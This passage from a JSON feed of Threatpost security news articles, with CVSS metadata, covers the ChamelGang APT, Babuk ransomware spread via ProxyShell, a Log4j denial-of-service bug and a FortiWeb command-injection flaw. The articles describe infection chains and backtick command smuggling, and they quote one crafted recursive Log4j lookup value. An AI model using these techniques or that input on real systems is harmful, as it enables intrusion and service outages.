[report](<https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/>) by company researchers Aleksandr Grigorian, Daniil Koloskov, Denis Kuvshinov and Stanislav Rakovsky published online Thursday.\n\nTo avoid detection, ChamelGang hides its malware and network infrastructure under legitimate services of established companies like Microsoft, TrendMicro, McAfee, IBM and Google in a couple of unique ways, researchers observed.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOne is to acquire domains that imitate their legitimate counterparts \u2013 such as newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com and mcafee-upgrade.com. The other is to place SSL certificates that also imitate legitimate ones \u2013 such as github.com, www.ibm.com, jquery.com, update.microsoft-support.net \u2013 on its servers, researchers said.\n\nMoreover, ChamelGang \u2013 like [Nobelium](<https://threatpost.com/solarwinds-active-directory-servers-foggyweb-backdoor/175056/>) and [REvil](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) before it \u2013 has hopped on the bandwagon of attacking the supply chain first to gain access to its ultimate target, they said. In one of the cases analyzed by Positive Technologies, \u201cthe group compromised a subsidiary and penetrated the target company\u2019s network through it,\u201d according to the writeup.\n\nThe attackers also appear malware-agnostic when it comes to tactics, using both known malicious programs such as [FRP](<https://howtofix.guide/frp-exe-virus/>), [Cobalt Strike Beacon](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>), and Tiny Shell, as well as previously unknown malware ProxyT, BeaconLoader and the DoorMe backdoor, researchers said.\n\n## **Two Separate Attacks**\n\nResearchers analyzed two attacks by the novel APT: one in March and one in August. The first investigation was triggered after a Russia-based energy company\u2019s antivirus protection repeatedly reported the presence of the Cobalt Strike Beacon in RAM.\n\nAttackers gained access to the energy company\u2019s network through the supply chain, compromising a vulnerable version of a subsidiary company\u2019s web application on the JBoss Application Server. Upon investigation, researchers found that attackers exploited a critical vulnerability, [CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>), to remotely execute commands on the host.\n\nOnce on the energy company\u2019s network, ChamelGang moved laterally, deploying a number of tools along the way. They included Tiny Shell, with which a UNIX backdoor can receive a shell from an infected host, execute a command and transfer files; an old DLL hijacking technique associated with the Microsoft Distributed Transaction Control (MSDTC) Windows service to gain persistence and escalate privileges; and the Cobalt Strike Beacon for calling back to attackers for additional commands.\n\nResearchers were successful in accessing and exfiltrating data in the attack, researchers said. \u201cAfter collecting the data, they placed it on web servers on the compromised network for further downloading \u2026 using the Wget utility,\u201d they wrote.\n\n## **Cutting Short a ProxyShell Attack **\n\nThe second attack was on an organization from the Russian aviation production sector, researchers said. They notified the company four days after the server was compromised, working with employees to eliminate the threat shortly after.\n\n\u201cIn total, the attackers remained in the victim\u2019s network for eight days,\u201d researchers wrote. \u201cAccording to our data, the APT group did not expect that its backdoors would be detected so quickly, so it did not have time to develop the attack further.\u201d\n\nIn this instance, ChamelGang used a known chain of vulnerabilities in Microsoft Exchange called ProxyShell \u2013 CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 \u2013 to compromise network nodes and gain a foothold. Indeed, a number of attackers took advantage of ProxyShell throughout August, [pummeling](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) unpatched Exchange servers with attacks after a [researcher at BlackHat revealed](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) the attack surface.\n\nOnce on the network, attackers then installed a modified version of the backdoor DoorMe v2 on two Microsoft Exchange mail servers on the victim\u2019s network. Attackers also used BeaconLoader to move inside the network and infect nodes, as well as the Cobalt Strike Beacon.\n\n## **Victims Across the Globe**\n\nFurther threat intelligence following the investigation into attacks on the Russian companies revealed that ChamelGang\u2019s activity has not been limited to that country.\n\nPositive Technologies eventually identified 13 more compromised organizations in nine other countries \u2013 the U.S., Japan, Turkey, Taiwan, Vietnam, India, Afghanistan, Lithuania and Nepal. In the last four countries mentioned, attackers targeted government servers, they added.\n\nAttackers often used ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server against victims, who were all notified by the appropriate national security authorities in their respective countries.\n\nChamelGang\u2019s tendency to reach its targets through the supply chain also is likely one that it \u2013 as well as other APTs \u2013 will continue, given the success attackers have had so far with this tactic, researchers added. \u201cNew APT groups using this method to achieve their goals will appear on stage,\u201d they said.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-10-01T12:36:25", "type": "threatpost", "title": "New APT ChamelGang Targets Russian Energy, Aviation Orgs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-01T12:36:25", "id": "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496", "href": "https://threatpost.com/apt-chamelgang-targets-russian-energy-aviation/175272/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-04T16:00:33", "description": "A new-ish threat actor sometimes known as \u201cTortilla\u201d is launching a fresh round of ProxyShell attacks on Microsoft Exchange servers, this time with the aim of inflicting vulnerable servers with variants of the Babuk ransomware.\n\nCisco Talos researchers said in a Wednesday [report](<https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) that they spotted the malicious campaign a few weeks ago, on Oct. 12.\n\nTortilla, an actor that\u2019s been operating since July, is predominantly targeting U.S. victims. It\u2019s also hurling a smaller number of infections that have hit machines in the Brazil, Finland, Germany, Honduras, Thailand, Ukraine and the U.K., as shown on the map below.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg>)\n\nVictim distribution map. Source: Cisco Talos.\n\nPrior to this ransomware-inflicting campaign, Tortilla has been experimenting with other payloads, such as the PowerShell-based netcat clone PowerCat.\n\nPowerCat has a penchant for Windows, the researchers explained, being \u201cknown to provide attackers with unauthorized access to Windows machines.\u201d\n\n## ProxyShell\u2019s New Attack Surface\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>)..\n\nIn this latest ProxyShell campaign, Cisco Talos researchers said that the threat actor is using \u201ca somewhat unusual infection chain technique where an intermediate unpacking module is hosted on a pastebin.com clone pastebin.pl\u201d to deliver Babuk.\n\nThey continued: \u201cThe intermediate unpacking stage is downloaded and decoded in memory before the final payload embedded within the original sample is decrypted and executed.\u201d\n\n## Who\u2019s Babuk?\n\nBabuk is a ransomware that\u2019s probably best known for its starring role in a breach of the Washington D.C. police force [in April](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). The gang behind the malware has a short history, having only been [identified in 2021](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>), but that history shows that it\u2019s a [double-extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>) player: one that threatens to post stolen data in addition to encrypting files, as a way of applying thumbscrews so victims will pay up.\n\nThat tactic has worked. As [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>) described in February, Babuk the ransomware had already been lobbed at a batch of at least five big enterprises, with one score: The gang walked away with $85,000 after one of those targets ponied up the money, McAfee researchers said.\n\nIts victims have included Serco, an outsourcing firm that confirmed that it had been [slammed](<https://www.computerweekly.com/news/252495684/Serco-confirms-Babuk-ransomware-attack>) with a double-extortion ransomware attack in late January.\n\nLike many ransomware strains, Babuk is ruthless: It not only encrypts a victim\u2019s machine, it also [blows up backups](<https://threatpost.com/conti-ransomware-backups/175114/>) and deletes the volume shadow copies, Cisco Talos said.\n\n## What\u2019s Under Babuk\u2019s Hood\n\nOn the technical side, Cisco Talos described Babuk as a flexible ransomware that can be compiled, through a ransomware builder, for several hardware and software platforms.\n\nIt\u2019s mostly compiled for Windows and ARM for Linux, but researchers said that, over time, they\u2019ve also seen versions for ESX and a 32-bit, old PE executable.\n\nIn this recent October campaign though, the threat actors are specifically targeting Windows.\n\n## China Chopper Chops Again\n\nPart of the infection chain involves China Chopper: A webshell that dates back to 2010 but which has [clung to relevancy since](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), including reportedly being used in a massive 2019 attack against telecommunications providers called [Operation Soft Cell](<https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers>). The webshell enables attackers to \u201cretain access to an infected system using a client-side application which contains all the logic required to control the target,\u201d as Cisco Talos [described](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>) the webshell in 2019.\n\nThis time around, it\u2019s being used to get to Exchange Server systems. \u201cWe assess with moderate confidence that the initial infection vector is exploitation of ProxyShell vulnerabilities in Microsoft Exchange Server through the deployment of China Chopper web shell,\u201d according to the Cisco Talos writeup.\n\n## The Infection Chain\n\nAs shown in the infection flow chart below, the actors are using either a DLL or .NET executable to kick things off on the targeted system. \u201cThe initial .NET executable module runs as a child process of w3wp.exe and invokes the command shell to run an obfuscated PowerShell command,\u201d according to Cisco Talos\u2019 report.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg>)\n\nInfection flow chart. Source: Cisco Talos.\n\n\u201cThe PowerShell command invokes a web request and downloads the payload loader module using certutil.exe from a URL hosted on the domains fbi[.]fund and xxxs[.]info, or the IP address 185[.]219[.]52[.]229,\u201d researchers said.\n\n\u201cThe payload loader downloads an intermediate unpacking stage from the PasteBin clone site pastebin.pl,\u201d they continued \u2013 a site that \u201cseems to be unrelated to the popular pastebin.com.\u201d\n\nThey continued: \u201cThe unpacker concatenates the bitmap images embedded in the resource section of the trojan and decrypts the payload into the memory. The payload is injected into the process AddInProcess32 and is used to encrypt files on the victim\u2019s server and all mounted drives.\u201d\n\n## More Ingredients in Tortilla\u2019s Infrastructure\n\nBesides the pastebin.pl site that hosts Tortilla\u2019s intermediate unpacker code, Tortilla\u2019s infrastructure also includes a Unix-based download server.\n\nThe site is legitimate, but Cisco Talos has seen multiple malicious campaigns running on it, including hosting variants of the [AgentTesla trojan](<https://threatpost.com/agent-tesla-microsoft-asmi/163581/>) and the [FormBook malware dropper.](<https://threatpost.com/new-formbook-dropper-harbors-persistence/145614/>)\n\n## Babuk\u2019s Code Spill Helps Newbies\n\nIn July, Babuk gang\u2019s source code and builder were spilled: They were [uploaded to VirusTotal](<https://threatpost.com/babuk-ransomware-builder-virustotal/167481/>), making it available to all security vendors and competitors. That leak has helped the ransomware spread to even an inexperienced, green group like Tortilla, Cisco Talos said.\n\nThe leak \u201cmay have encouraged new malicious actors to manipulate and deploy the malware,\u201d researchers noted.\n\n\u201cThis actor has only been operating since early July this year and has been experimenting with different payloads, apparently in order to obtain and maintain remote access to the infected systems,\u201d according to its writeup.\n\nWith Babuk source code readily available, all the Tortilla actors have to know is how to tweak it a tad, researchers said: A scenario that observers predicted back when the code appeared.\n\n\u201cThe actor displays low to medium skills with a decent understanding of the security concepts and the ability to create minor modifications to existing malware and offensive security tools,\u201d Cisco Talos researchers said in assessing the Tortilla gang.\n\n## Decryptor Won\u2019t Work on Variant\n\nWhile a free [Babuk decryptor was released](<https://www.bleepingcomputer.com/news/security/babuk-ransomware-decryptor-released-to-recover-files-for-free/>) last week, it won\u2019t work on the Babuk variant seen in this campaign, according to the writeup: \u201cUnfortunately, it is only effective on files encrypted with a number of leaked keys and cannot be used to decrypt files encrypted by the variant described in this blog post.\u201d\n\n## How to Keep Exchange Safe\n\nTortilla is hosting malicious modules and conducting internet-wide scanning to exploit vulnerable hosts.\n\nThe researchers recommended staying vigilant, staying on top of any infection in its early stages and implementing a layered defense security, \u201cwith the behavioral protection enabled for endpoints and servers to detect the threats at an early stage of the infection chain.\u201d\n\nThey also recommended keeping servers and apps updated so as to squash vulnerabilities, such as the trio of CVEs exploited in the ProxyShell attacks.\n\nAlso, keep an eye out for backup demolition, as the code deletes shadow copies: \u201cBabuk ransomware is nefarious by its nature and while it encrypts the victim\u2019s machine, it interrupts the system backup process and deletes the volume shadow copies,\u201d according to Cisco Talos.\n\nOn top of all that, bolster detection: Watch out for system configuration changes, suspicious events generated by detection systems for an abrupt service termination, or abnormally high I/O rates for drives attached to servers, according to Cisco Talos.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-03T18:16:37", "type": "threatpost", "title": "\u2018Tortilla\u2019 Wraps Exchange Servers in ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-43267"], "modified": "2021-11-03T18:16:37", "id": "THREATPOST:52923238811C7BFD39E0529C85317249", "href": "https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-20T16:11:34", "description": "No, you\u2019re not seeing triple: On Friday, Apache released yet another patch \u2013 [version 2.17](<https://logging.apache.org/log4j/2.x/download.html>) \u2013 for yet another flaw in the ubiquitous log4j logging library, this time for a DoS bug.\n\nTrouble comes in threes, and this is the third one for log4j. The latest bug isn\u2019t a variant of the Log4Shell remote-code execution (RCE) bug that\u2019s plagued IT teams since Dec. 10, coming [under active attack](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) [worldwide](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>) within hours of its public disclosure, spawning [even nastier mutations](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) and leading to the [potential for denial-of-service](<https://threatpost.com/apache-patch-log4shell-log4j-dos-attacks/177064/>) (DoS) in Apache\u2019s initial patch.\n\nIt does have similarities, though: The new bug affects the same component as the Log4Shell bug. Both the Log4Shell, tracked as [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (criticality rating of CVSS 10.0) and the new bug, tracked as [CVE-2021-45105](<https://nvd.nist.gov/vuln/detail/CVE-2021-45105>) (CVSS score: 7.5) abuse attacker-controlled lookups in logged data.\n\nThe difference: The lookups in the new bug, CVE-2021-45105, are Context Map lookups instead of the Java Naming and Directory Interface (JNDI) lookups to an LDAP server that allow attackers to execute any code that\u2019s returned in the Log4Shell vulnerability.\n\nContextMapLookup allows applications to store data in the Log4j ThreadContext Map and then retrieve the values in the Log4j configuration: For example, an app would store the current user\u2019s login id in the ThreadContext Map with the key \u201cloginId\u201d.\n\nThe weakness has to do with improper input validation and uncontrolled recursion that can lead to DoS.\n\nAs [explained](<https://www.zerodayinitiative.com/blog/2021/12/17/cve-2021-45105-denial-of-service-via-uncontrolled-recursion-in-log4j-strsubstitutor>) by Guy Lederfein of the Trend Micro Research Team, \u201cthe Apache Log4j API supports variable substitution in lookups. However, a crafted variable can cause the application to crash due to uncontrolled recursive substitutions. An attacker with control over lookup commands (e.g., via the Thread Context Map) can craft a malicious lookup variable, which results in a Denial-of-Service (DoS) attack.\u201d\n\nThe new vulnerability affects all versions of the tool from 2.0-beta9 to 2.16, which Apache shipped last week to remediate the [second flaw](<https://threatpost.com/new-log4shell-attack-vector-local-hosts/177128/>) in the trio. That second bug was the RCE flaw [CVE-2021-45046](<https://nvd.nist.gov/vuln/detail/CVE-2021-45046>), which, in turn, stemmed from Apache\u2019s [incomplete fix](<https://threatpost.com/apache-patch-log4shell-log4j-dos-attacks/177064/>) for [CVE-2021-44228](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>), aka the Log4Shell vulnerability.\n\nLederfein continued: \u201cWhen a nested variable is substituted by the StrSubstitutor class, it recursively calls the substitute() class. However, when the nested variable references the variable being replaced, the recursion is called with the same string. This leads to an infinite recursion and a DoS condition on the server. As an example, if the Pattern Layout contains a Context Lookup of ${ctx.apiversion}, and its assigned value is ${${ctx.apiversion}}, the variable will be recursively substituted with itself.\u201d\n\nThe vulnerability has been tested and confirmed on Log4j versions up to and including 2.16, he said.\n\nApache has listed mitigating factors, but ZDI recommends upgrading to the latest version to ensure that the bug is completely addressed.\n\nThe latest bug and Apache\u2019s new round of fixes are just the latest news in the ongoing, ever-shifting log4j situation. As exploits flood in, new vulnerabilities emerge and patches turn out to need patching, huge tech players [such as SAP](<https://threatpost.com/sap-log4shell-vulnerability-apps/177069/>) have been hurrying to hunt down the logging library and to release product patches.\n\n## CISA Mandates Immediate Patching\n\nOn Thursday, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) issued an [emergency directive](<https://www.cisa.gov/uscert/ncas/current-activity/2021/12/17/cisa-issues-ed-22-02-directing-federal-agencies-mitigate-apache>) mandating federal civilian departments and agencies to immediately patch their internet-facing systems for the Log4j vulnerabilities by Thursday, Dec. 23.\n\nThe risk presented by the library\u2019s vulnerabilities is sky-high, as multiple threat actors have jumped on the opportunities to exploit vulnerable systems. As Check Point Research (CPR) [highlighted](<https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/>) last week, real-life attacks have included a crypto-mining group that launched attacks in five countries.\n\nLast week, Microsoft reported that nation-state groups Phosphorus (Iran) and [Hafnium](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) (China), as well as unnamed APTs from North Korea and Turkey, are actively exploiting Log4Shell in targeted attacks. Hafnium is known for targeting Exchange servers with the ProxyLogon zero-days back in March, while Phosphorus \u2013 aka [Charming Kitten](<https://threatpost.com/charming-kitten-whatsapp-linkedin-effort/158813/>), APT35, Ajax Security Team, NewsBeef and Newscaster \u2013 [made headlines](<https://threatpost.com/microsoft-iranian-apt-t20-summit-munich-security-conference/160654/>) for targeting global summits and conferences in 2020.\n\nCPR said that Charming Kitten had gone after seven Israeli targets as of Wednesday.\n\n## Conti Ransomware Gang Is Among the Attackers\n\nThe Conti ransomware gang is in on it too: AdvIntel researchers said last week that they\u2019re seen Conti operators going after VMware vCenter.\n\n\u201cThe current exploitation led to multiple use cases through which the Conti group tested the possibilities of utilizing the Log4j 2 exploit,\u201d the researchers [said](<https://www.advintel.io/post/ransomware-advisory-log4shell-exploitation-for-initial-access-lateral-movement>) last week. \u201cThe criminals pursued targeting specific vulnerable [Log4j 2 VMware vCenter](<https://www.vmware.com/security/advisories/VMSA-2021-0028.html>) [servers] for lateral movement directly from the compromised network resulting in vCenter access affecting U.S. and European victim networks from the pre-existent Cobalt Strike sessions.\u201d\n\nLast week, a ransomware attack that some suspect may be attributable to the [Conti gang](<https://threatpost.com/conti-ransomware-backups/175114/>) forced a family-run chain of restaurants, hotels and breweries, [McMenamins](<https://www.mcmenamins.com/>), to [shut down some operations.](<https://threatpost.com/conti-gang-ransomware-attack-mcmenamins/177119/>)\n\nThe bugs are also being leveraged by botnets, remote access trojans (RATs), initial access brokers, and a new ransomware strain called Khonsari. As of Monday, CPR said that it\u2019s seen more than 4.3 million attempted exploits, more than 46 percent of which were made by \u201cknown malicious groups.\u201d\n\n## Yet More Sleepless Nights\n\nTrend Micro\u2019s Lederfein noted that the log4j component has had quite a run in the vulnerability spotlight, having received \u201cquite a bit of attention\u201d since the Log4Shell vulnerability was revealed 10 days ago. Expect more of the same, he predicted, as \u201cit would not be a surprise to see further bugs disclosed \u2013 with or without a patch.\u201d\n\nTom Garrubba, CISO with Shared Assessments, concurred: \u201cThis vulnerability has been keeping a lot of security professionals up at night,\u201d he told Threatpost. This Javageddon has even percolated up to the C-suite, he said, with the vulnerability \u201ckeeping a lot of security professionals up at night.\u201d\n\n\u201cExecutives and board members are also gaining interest as to how this will affect them as well,\u201d he said via email. \u201cLog4j is used all throughout the Internet and [affects] multiple applications and systems with deep roots.\u201d\n\n\u201cThe best path you can take right now it\u2019s a stay alert of all patches that are coming out to address this vulnerability and put them into place immediately,\u201d Garrubba advised. \u201cSadly, it appears this is going to affect organization\u2019s continuously into the future as they identify more items that are affected by this vulnerability.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-20T16:01:57", "type": "threatpost", "title": "Third Log4J Bug Can Trigger DoS; Apache Issues Patch", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-20T16:01:57", "id": "THREATPOST:10D0F1DDDD6C211DA3CE6395900B7C54", "href": "https://threatpost.com/third-log4j-bug-dos-apache-patch/177159/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-18T20:47:20", "description": "UPDATE\n\nAn unpatched OS command-injection security vulnerability has been disclosed in Fortinet\u2019s web application firewall (WAF) platform, known as FortiWeb. It could allow privilege escalation and full device takeover, researchers said.\n\nFortiWeb is a cybersecurity defense platform, [aimed at](<https://www.fortinet.com/products/web-application-firewall/fortiweb>) protecting business-critical web applications from attacks that target known and unknown vulnerabilities. The firewall has been to keep up with the deployment of new or updated features, or the addition of new web APIs, according to Fortinet.\n\nThe bug (CVE pending) exists in FortiWeb\u2019s management interface (version 6.3.11 and prior), and carries a CVSSv3 base score of 8.7 out of 10, making it high-severity. It can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page, according to Rapid7 researcher William Vu who discovered the bug.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\n\u201cNote that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication-bypass issue, such as [CVE-2020-29015](<https://www.fortiguard.com/psirt/FG-IR-20-124>),\u201d according to a [Tuesday writeup](<https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/>) on the issue.\n\nOnce attackers are authenticated to the management interface of the FortiWeb device, they can smuggle commands using backticks in the \u201cName\u201d field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system.\n\n\u201cAn attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges,\u201d according to the writeup. \u201cThey might install a persistent shell, crypto mining software, or other malicious software.\u201d\n\nThe damage could be worse if the management interface is exposed to the internet: Rapid7 noted that attackers could pivot to the wider network in that case. However, Rapid7 researchers identified less than three hundred appliances that appeared to be doing so.\n\nIn the analysis, Vu provided a proof-of-concept exploit code, which uses an HTTP POST request and response.\n\nIn light of the disclosure, Fortinet has sped up plans to release a fix for the problem with FortiWeb 6.4.1 \u2014 originally planned for the end of August, it will now be available by the end of the week.\n\n\u201cWe are working to deliver immediate notification of a workaround to customers and a patch released by the end of the week,\u201d it said in a statement provided to Threatpost.\n\nThe firm also noted that Rapid7\u2019s disclosure was a bit of a surprise given [vulnerability-disclosure norms](<https://threatpost.com/giggle-managing-expectations-vulnerability-disclosure/159039/>) in the industry.\n\n\u201cThe security of our customers is always our first priority. Fortinet recognizes the important role of independent security researchers who work closely with vendors to protect the cybersecurity ecosystem in alignment with their responsible disclosure policies. In addition to directly communicating with researchers, our disclosure policy is clearly outlined on the [Fortinet PSIRT Policy page](<https://www.fortiguard.com/psirt_policy>), which includes asking incident submitters to maintain strict confidentiality until complete resolutions are available for customers. As such, we had expected that Rapid7 hold any findings prior to the end of the our [90-day Responsible disclosure window](<https://www.fortiguard.com/zeroday/responsible-disclosure>). We regret that in this instance, individual research was fully disclosed without adequate notification prior to the 90-day window.\u201d\n\nFor now, Rapid7 offered straightforward advice:\n\n\u201cIn the absence of a patch, users are advised to disable the FortiWeb device\u2019s management interface from untrusted networks, which would include the internet,\u201d according to Rapid7. \u201cGenerally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway \u2014 instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.\u201d\n\nThe Rapid7 researchers said that the vulnerability appears to be related to [CVE-2021-22123](<https://www.fortiguard.com/psirt/FG-IR-20-120>), which was patched in June.\n\n## **Fortinet: Popular for Exploit**\n\nThe vendor [is no stranger](<https://threatpost.com/fortigate-vpn-default-config-mitm-attacks/159586/>) to cybersecurity bugs in its platforms, and Fortinet\u2019s cybersecurity products are popular as exploitation avenues with cyberattackers, including nation-state actors. Users should prepare to patch quickly.\n\nIn April, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) various advanced persistent threats (APTs) were actively exploiting three security vulnerabilities in the Fortinet SSL VPN for espionage. Exploits for CVE-2018-13379, CVE-2019-5591 and CVE-2020-12812 were being used for to gain a foothold within networks before moving laterally and carrying out recon, they warned.\n\nOne of those bugs, a Fortinet vulnerability in FortiOS, [was also seen](<https://threatpost.com/hackers-exploit-flaw-cring-ransomware/165300/>) being used to deliver a new ransomware strain, dubbed Cring, that is targeting industrial enterprises across Europe.\n\n_**This post was updated August 18 at 1:30 p.m. ET with a statement from Fortinet.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", 